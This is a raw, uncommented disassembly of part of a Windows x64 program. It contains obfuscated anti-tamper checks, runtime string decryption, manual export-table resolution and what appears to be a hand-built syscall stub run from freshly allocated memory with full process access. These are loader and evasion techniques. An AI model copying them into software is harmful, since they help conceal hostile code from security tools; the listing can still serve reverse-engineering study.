mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140035c2b
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140035c2b
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140035c4b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x140035d06
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140035ce6
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140035ce6
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140035d06
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
call fcn.14009fb90
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.140041e44
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x140035dd0
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140035db0
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140035db0
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140035dd0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
mov r8d, 0x3d68809f
cmp rax, rsi
jne 0x140035e8f
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140035e6f
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140035e6f
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140035e8f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x140035f48
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140035f28
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140035f28
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140035f48
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x140035ff2
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140035fd2
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140035fd2
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140035ff2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x1400360ab
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003608b
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003608b
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400360ab
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov qword [rbp + 0xe58], r14
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x14003615c
mov rax, qword gs:[0x24]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003613c
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003613c
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003615c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x140036215
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400361f5
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400361f5
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036215
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.1400413dc
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x1400362e7
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400362c7
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400362c7
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400362e7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov edi, r14d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x1400365dd
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x1400363ae
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d48e68f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036695
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036695
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140036695
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.1400313f4
mov r15d, eax
mov rcx, qword gs:[0x23]
movabs r8, 0xf652601fe2ce4f18
cmp rcx, rsi
jne 0x140036464
mov rcx, qword gs:[0x24]
xor rcx, r8
mov qword [rbp + 0x1070], rcx
mov rcx, qword gs:[0x24]
xor rcx, r8
mov qword [rbp + 0x1078], rcx
mov rcx, qword gs:[0x24]
xor rcx, r8
mov qword [rbp + 0x1080], rcx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x1400366b5
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x1400366b5
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x1400366b5
test r15d, r15d
jne 0x140036715
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x140036509
mov rax, qword gs:[0x24]
mov r15d, 0x748af5
xor rax, r15
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x1400366d5
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x1400366d5
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x1400366d5
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x1400365bd
mov rax, qword gs:[0x24]
xor rax, r8
mov qword [rbp + 0xf60], rax
mov rax, qword gs:[0x24]
xor rax, r8
mov qword [rbp + 0xf68], rax
mov rax, qword gs:[0x24]
xor rax, r8
mov qword [rbp + 0xf70], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x1400366f5
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x1400366f5
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x1400366f5
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x140036305
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x1400402ce
mov rax, qword gs:[0x24]
movabs rcx, 0xf652601fe2ce4f18
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036675
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036675
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400402ce
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.1400a6b58
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0x4e79a531
mov dword [rbp + 0x214], 0x8ba59fec
mov dword [rbp + 0x218], 0x7d6353f1
mov word [rbp + 0x21c], 0xea
mov r8, r14
movabs rbx, 0x8080808080808081
mov esi, 0xd7e3c967
movabs r9, 0xaf6913a48
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x15ed227490
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x1400367b3
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0xbba7e55d
mov dword [rbp + 0x84], 0xfdad1e50
mov word [rbp + 0x88], 0x9e
mov r8, r14
movabs r9, 0x7970214a8
mov r10d, 9
movabs r11, 0xf2e042950
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x140036851
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140036ada
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140036ada
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140036ada
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140036ada
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140036ada
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14003694c
inc rax
test edi, edi
jne 0x140036937
test r8d, r8d
je 0x14003695e
inc rdx
cmp rdx, rsi
jb 0x140036926
jmp 0x140036ada
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140036ada
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x140036ad7
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.14009fb90
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.140041e44
lea rcx, [rbp + 0x7420]
call fcn.1400413dc
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.1400413dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x1400369ec
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400c9610
mov dword [0x14011e064], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x14011e060]
movsd qword [rdi], xmm0
movzx eax, word [0x14011e068]
mov word [rdi + 8], ax
mov al, byte [0x14011e06a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400c9cb0
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x14011e064], r14d
test edi, edi
js 0x140036aed
jmp 0x140036ada
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x140036b03
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.140030ec4
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
mov ebx, 0x4d3da464
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x23]
ja 0x14003ff43
mov r15d, 0x3d48e68f
cmp rax, rbx
jne 0x140036bd6
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036bb6
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036bb6
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036bd6
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
movdqa xmm0, xmmword [0x140101ee0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1401020a0]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x147b64cf
mov word [rbp + 0xbc4], 0x3240
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
mov ebx, 0xd7e3c967
lea r10d, [rax + 0x26]
movabs r9, 0x200bcfe570
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
inc r8
add r9, r12
add r10, 0x26
movabs rax, 0x40179fcae0
cmp r9, rax
jb 0x140036c31
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.140015bbc
mov rax, qword gs:[0x23]
mov ebx, 0x4d3da464
mov esi, 0x748af5
cmp rax, rbx
jne 0x140036d5f
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036d3f
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036d3f
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036d5f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a6b58
int3
call fcn.140031124
mov rcx, qword gs:[0x23]
test al, al
jne 0x140037103
cmp rcx, rbx
jne 0x140036e27
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036e07
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036e07
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036e27
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
movdqa xmm0, xmmword [0x140102170]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], 0x9b
mov r10, r14
mov ebx, 0xd7e3c967
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0xe56205fe8
movabs r9, 0x1cac40bfd0
movabs r15, 0x8080808080808081
mov cl, r10b
and cl, r13b
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140036e6c
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x140101ef0]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x140101e20]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
mov ebx, 0x4d3da464
mov esi, 0xd7e3c967
mov r9d, Ordinal_33
movabs r10, 0x1a24956398
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xaf8]
xor dil, r8b
mov byte [rbp + r8 + 0xaf8], dil
inc r8
add r10, r12
add r9, 0x1f
movabs rax, 0x34492ac730
cmp r10, rax
jb 0x140036f0d
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x23]
cmp rax, rbx
mov esi, 0x748af5
jne 0x140037055
mov rax, qword gs:[0x24]
movabs rcx, 0xf652601fe2ce4f18
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140037035
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140037035
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140037055
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, rbx
jne 0x1400408d1
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400370e3
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400370e3
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400408d1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
cmp rcx, rbx
jne 0x1400371a4
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140037184
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140037184
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400371a4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
movdqa xmm0, xmmword [0x140102070]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rsi, 0x8080808080808081
mov ebx, 0xd7e3c967
movabs r9, 0xd7e3c9680
lea r10d, [rax + 0x10]
movabs r11, 0x1afc792d00
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
inc r8
add r9, r12
add r10, 0x10
cmp r9, r11
jb 0x1400371e6
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.140030f14
mov rcx, qword gs:[0x23]
mov ebx, 0x4d3da464
cmp rcx, rbx
jne 0x140037315
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400372f5
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400372f5
mov rcx, qword gs:[0x24]
